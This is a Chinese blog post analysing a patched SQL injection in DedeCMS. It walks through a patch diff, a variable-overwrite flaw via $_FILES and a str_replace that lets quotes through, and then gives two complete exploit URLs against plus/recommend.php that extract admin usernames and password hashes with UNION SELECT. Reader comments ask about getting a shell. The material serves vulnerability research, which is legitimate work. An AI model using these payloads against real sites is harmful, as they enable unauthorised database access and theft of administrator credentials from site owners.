Dedecms 最新通杀注入分析

/*
* by phithon
* http://www.leavesongs.com & http://xdsec.org
*/

最近两天,乌云提交了两个Dedecms,闹得沸沸扬扬,织梦今天发布了补丁,于是就去下载回来对比补丁,下面来分析下其中的一个注入。
首先对比下补丁,发现修改了几个文件,其中的\include\uploadsafe.inc.php修改代码

[php]

//正在比较文件 3.php 和 4.PHP
//***** 修补后.php
}
//$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
$$_key = $_FILES[$_key]['tmp_name'] = $_FILES[$_key]['tmp_name'];
${$_key.'_name'} = $_FILES[$_key]['name'];
//***** 修补前.PHP
}
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
//吧$_FILES[$_key]['tmp_name']里面的\\\\替换为\\
${$_key.'_name'} = $_FILES[$_key]['name'];
[/php]
也就是说这里的str_replace替换可能就是注入的关键!但是$_FILES[$_key]['tmp_name']是php系统生成的随机变量,默认不可控。
看到/include/common.inc.php的一段代码:
[php]
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;

}

if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val) )
{
exit('Request var not allow!');

}
}
}
//var_dump($_REQUEST);exit;

CheckRequest($_REQUEST);
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
}[/php]
只要变量名不含cfg_|GLOBALS|_GET|_POST|_COOKIE就行了,利用上面的代码可以覆盖$_FILES,
同时利用这句代码:
[php]
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);[/php]
就可以覆盖任意变量了,结合str_replace的替换,就可以带入单引号了。可以引入单引号,注入就一堆了,看到plus/recommend.php的一段代码:
[php]
if($action=='')

{

if($type=='sys'){

//读取文档信息

$arcRow = GetOneArchive($aid);

if($arcRow['aid']=='')

{

ShowMsg("无法把未知文档推荐给好友!","-1");

exit();

}

extract($arcRow, EXTR_SKIP);

} else {

$arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");

if(!is_array($arcRow)){

ShowMsg("无法把未知文档推荐给好友!","-1");

exit();

}

$arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid'];

extract($arcRow, EXTR_SKIP);

}

}[/php]
利用上面分析的漏洞,最终构造的exp为:[php]
http://0day5.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873[/php]
获取的另外一枚
[php]http://0day5.com/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23[/php]

5 条评论

  1. gz_hack

    http://lcx.cc/?i=1682说只要plus存在就能拿shell,但是这文章里面说的看不懂,求详细!

  2. 1234

    提示 无法把未知文档推荐给好友! :?: 是不是就说明已经修复了。。- -

    1. 0day5
      @1234

      不清楚,或许吧~表示仅仅是转载本机测试了

      1. 阳天
        @0day5

        能不能读取到 后台目录名

        1. 0day5
          @阳天

          不能哦...

发表评论